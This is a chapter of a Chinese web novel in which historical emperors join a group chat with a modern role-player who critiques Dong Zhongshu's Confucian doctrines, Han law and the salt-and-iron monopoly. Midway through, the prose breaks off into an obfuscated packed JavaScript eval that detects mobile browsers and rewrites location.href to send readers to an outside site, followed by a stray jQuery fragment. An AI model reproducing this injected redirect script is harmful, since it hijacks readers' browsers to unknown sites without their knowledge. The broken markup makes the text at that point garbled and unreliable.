嬴政饶有兴味地看着天幕所言。


    这汉武帝刘彻，倒是有趣。


    李斯却是苦笑不已。


    与刘彻之举无关，而是秦念那句“律法定刑不当，就应该修改律法”引起陛下的注意。


    陛下令他将秦法不当之处全部罗列出来，择日朝议修法。


    仅“过失”一词，秦法就需要大修。


    ………


    刘邦尤喜刘彻。


    这般“勒索”作为，诸位王侯却无人敢忤逆——


    不愧是声誉值仅次于始皇帝的帝王。


    纵然他是大汉的开国皇帝，刘邦也不敢如此对待诸王侯。


    修正律法一事，倒是可以做。


    刘邦看向萧何。


    萧何无奈，只得领命。


    大修汉律，将涉及多少权贵的利益？


    ………


    刘弗陵、刘询皆将此事托付给霍光。


    两个时期的霍光：“……臣必不负所托。”


    相比萧何，他们不用忧心得罪太多权贵。


    霍家，是这两个时期最大的权贵。


    连皇帝都不能轻易动他们。


    ………


    刘启看了眼自己的丞相，再次后悔处死了老师晁错。


    周亚夫……


    唉。


    主父偃正在前往长安的路上。


    ………


    应修改律法，而不是以春秋决狱。


    “秦法之患，可除矣。”


    刘秀叹道。


    难怪秦念稳居民心榜首。


    相比衍生出荒谬如腹诽罪的“论心定罪”，显然改法更利于黔首。


    刘秀九岁而孤，勤于稼穑，深知官吏贪腐之害。


    他清楚黔首连律法都不甚明了，而春秋决狱还需要熟知儒家经典。


    官吏豪富常以律法欺民，又以春秋决狱为自己脱罪。


    因此刘秀极为重视整顿吏治，赏罚皆从严。


    如今得知法家之术可改儒术积弊，怎么会不采用这个办法？


    但刘秀的眉头依旧紧锁。


    儒家治世，百家凋零。


    此时的汉朝法家已然凋零。


    让极为“法古”的儒家官吏修法，会修出怎样的法？


    后世皇帝亦皆难于此。


    【李世民：汉武帝向董仲舒问策，其对答的天人三策中“抑黜百家”之说确实不妥，那天人感应是否也有谬误之处？】


    观武曌以“春秋决狱有何不妥”绕过规则限制，李世民就知道该如何向秦念问策。


    儒家治世已久，所涉之处不仅是律法之道。


    要修法，那就不能只是修法。


    李世民深知儒家治世已久，现世之人已难以指出儒家弊端。


    秦念寥寥数语就将春秋决狱之弊道出。


    他登基已有四年之久，自认极为重视与民密切相关的刑狱，却未能看出其中之弊。


    皆因百家凋零，他自身亦是自幼学儒。


    身在其中，又如何看清利弊？


    后世之君唯有秦念崇法，也唯有他能指出儒家之弊。


    故李世民以天人三策相问。


    问完天幕，李世民亦问群臣儒学为何会使得华夏衰落。


    房玄龄善谋，听陛下此问却是讷于言。


    他自幼博览经史，熟读儒学典籍。


    儒家崇古，以古为尊，后世儒生又如何能指先贤之过？


    百官中熟读经典的多是儒生，不通儒学之臣亦无法议儒家之弊。


    看着寂静无声的朝堂，李世民神情愈发凝重。


    【秦念：天人感应，君权神授。有的人觉得自己的权力是神给的，朕可不这么觉得。】


    刘彻冷笑一声。


    他当然看出秦念此言又是在讥讽他。


    当初他向董仲舒问策，第一策问的是历代君王多效仿前人治国，但国家却日渐衰落，难道国家衰落就是天命？


    董仲舒以周宣王为证，主张国家的衰落是因为君王无道，如果君王顺应天意施行仁政，就能天下安定。


    反过来若是君王不顺应天意，天就会降下灾祸。


    这一点刘彻根本就不信。


    他要是信，也就不会致力于对外用兵。


    正如公孙弘反对建立朔方郡那样，儒家一直反对他对外征战。


    刘彻从来不搭理。


    但君权神授之说，刘彻采纳了。


    因为这可以加强他对大汉的掌控，有利于集中权力。


    可秦念此言，分明就是讥讽他需要借助神的名义才能治理天下！


    【刘彻：朕的传国玺上，镌刻着“受命于天，既寿永昌”。】


    这下换秦念沉默了。


    她原本想的是“嚣张霸道”的人设，嚣张肯定没问题了，接下来就要考虑如何扮演“霸道”。


    鄙夷天人感应显然是展现霸道的好机会啊。


    其他皇帝都需要君权神授，她不需要，这不就是霸道吗？


    剧本她都想好了，接下来其他群成员会讲述各种神迹灾异之说，她就用现代科学观进行反驳。


    结果刘彻反手掏出传国玉玺：


    “受命于天，既寿永昌”。


    她隐藏人设上的老祖宗、始皇帝嬴政刻的。


    这对吗？


    这位打工人，你扮演的是古人，为什么反驳得如此另辟蹊径？


    崩人设了好吗？


    ………


    嬴政目光微敛。


    他不可能对传国玺易主无动于衷，但嬴政依旧没有出言。


    大秦亡于胡亥，这一点他早就已经知道。


    嬴政也看得出刘彻此言是针对秦念。


    后世复秦的秦皇，不仅不认可君王的权力源于天授，甚至对此颇为不屑。


    刘彻刻意提起传国玺，是借他的名号反击秦念。


    【秦念：董仲舒认为“诸不在六艺之科、孔子之术者，皆绝其道”，但律法与六艺孔子有关系？欲绝法家之道却不得不采用法家之律，因为无法度无以治国，这就是天人三策中最可笑的谬误。】


    没错，在纠结一会后，秦念可耻地选择了跳过这个话题。


    毕竟她就是过于不小心，以至于在开群嘲时把“祖宗”也囊括其中。


    再来一句“没有内涵祖龙的意思”？


    肯定不行。


    先前嘲刘彻文盲时不慎因“略输文采”牵涉到祖龙，还可以用这句话辩解。


    但开君权神授的群嘲，再说没有内涵祖龙那就毫无说服力，甚至算得上“谎言”。


    她的规则里没有禁止谎言，但如此明显的谎言说出来，必然会被视为异常，违反她的规则一。


    不过规则要求的是“不能被发现异常”，没说她扮演的皇帝不能耍无赖吧？


    ………


    董仲舒无法与后世君王交谈，但他的弟子们可以与他交谈。


    面对弟子们的追问，董仲舒无言以对。


    绝百家之道，仅凭儒学却无以治国。


    这确实是最可笑的谬误。


    他本欲以春秋决狱将“法度”纳入儒学，然而此前秦念就以“腹诽罪”否定论心定罪。


    民心榜首……


    董仲舒闭门送客，他需要重整学说。


    【刘彻：哼。】


    刘彻没有纠缠“君权神授”之辩。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868378|175776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    天幕没有禁止秦念否定君权神授，本身就已经是最大的问题。


    哪怕那只是“秦念觉得”，而非事实。


    但天下黔首皆能看到天幕，不是每个人都能想到“秦念觉得”并非事实。


    继续讨论下去，不利于社稷。


    【刘弗陵：董仲舒临终前上奏阿父，反对盐铁官营，这也是谬误吗？】


    盐铁之议，刘弗陵身为皇帝当然全程听议。


    双方所言都有道理。


    今岁桑弘羊谋反，刘弗陵本已认可儒生对阿父的否定。


    但如今看天幕之辩，他不知不觉间又倒向另一边。


    不同于盐铁之议时双方争执时的引经据典，群内诸帝都是以常言相论。


    这对于十五岁的刘弗陵而言，好理解得多。


    于是他积极发问。


    他或许短寿，但为君者，怎能因体弱就怠于治国？


    何况他的问话不仅于自己有益，年幼的刘病已也能从中学得治国之道。


    ………


    刘彻暗叹刘弗陵寿数有限。


    仅从天幕几次对话，他已经知道为何会立八岁的刘弗陵为太子。


    聪敏好学。


    只可惜慧极伤己。


    至于盐铁官营一事——


    国库空虚，刘彻已与东郭咸阳、孔仅等人商议多时，很快就会推行。


    董仲舒的上奏，他不会理会。


    正如他也没理会过“仁政”之说一般。


    【秦念：反对盐铁官营的最大论点，是与民争利？】


    【刘弗陵：是！】


    虽然不仅仅是以民争利，还有与民争利会破坏敦厚的民风，使得百姓变得逐利，非仁义之道。


    但归根究底，还是与民争利。


    所以刘弗陵毫不犹豫就给出了肯定的回答。


    看到这个“是”，秦念仿佛真的看到了一个好学的未成年。


    甲方该不会真找了个未成年扮演刘弗陵？


    秦念抛开这个无厘头的猜想。


    这位扮演者对角色的理解非常到位，甚至还能带别人入戏。


    【秦念：这个“民”是什么民？盐铁这样高利润的行业，有多少平民有资格参与其中？】


    刘弗陵立即询问霍光。


    霍光无法给出准确的答案。


    但刘弗陵已经明白秦念此问的缘由。


    “普通百姓没有资格从贩卖盐铁中获取高利润，实则为权贵豪富所取？”


    “……是。”


    盐铁之议，霍光没有直接参与辩论。


    但霍光召开这场辩论的目的之一，就是想要削弱桑弘羊在朝中的势力。


    不过他不反对先帝的内外政策，只是部分政策已经到了不得不更改的地步。


    盐铁之议后，霍光仅取消了郡国酒榷和关内铁官。


    【刘弗陵：朕询问大司马大将军，知盐铁之利多为权贵豪富所取。】


    董仲舒长叹了一口气。


    他知道，儒学最大的危机，出现了。


    【秦念：在刘彻时期、以及与此相似的时期，绝大多数没权没钱的平民没资格读书。饱读诗书的儒生们，大多出身于权贵豪富阶层。】


    【秦念：官盐铁，损害得最多的，就是能够垄断盐铁交易的权贵豪富的利益。】


    官盐铁同样会损害底层百姓的利益，但那不是官盐铁的问题，而是食利阶层在执行政策时损及百姓。


    考虑到不能过度长篇大论，秦念暂且略过。


    【秦念：但他们绝对不会说“我的利益受损”，他们只会举着“与民争利”的大义旗帜来反对你爹的政策，你觉得这是为什么？】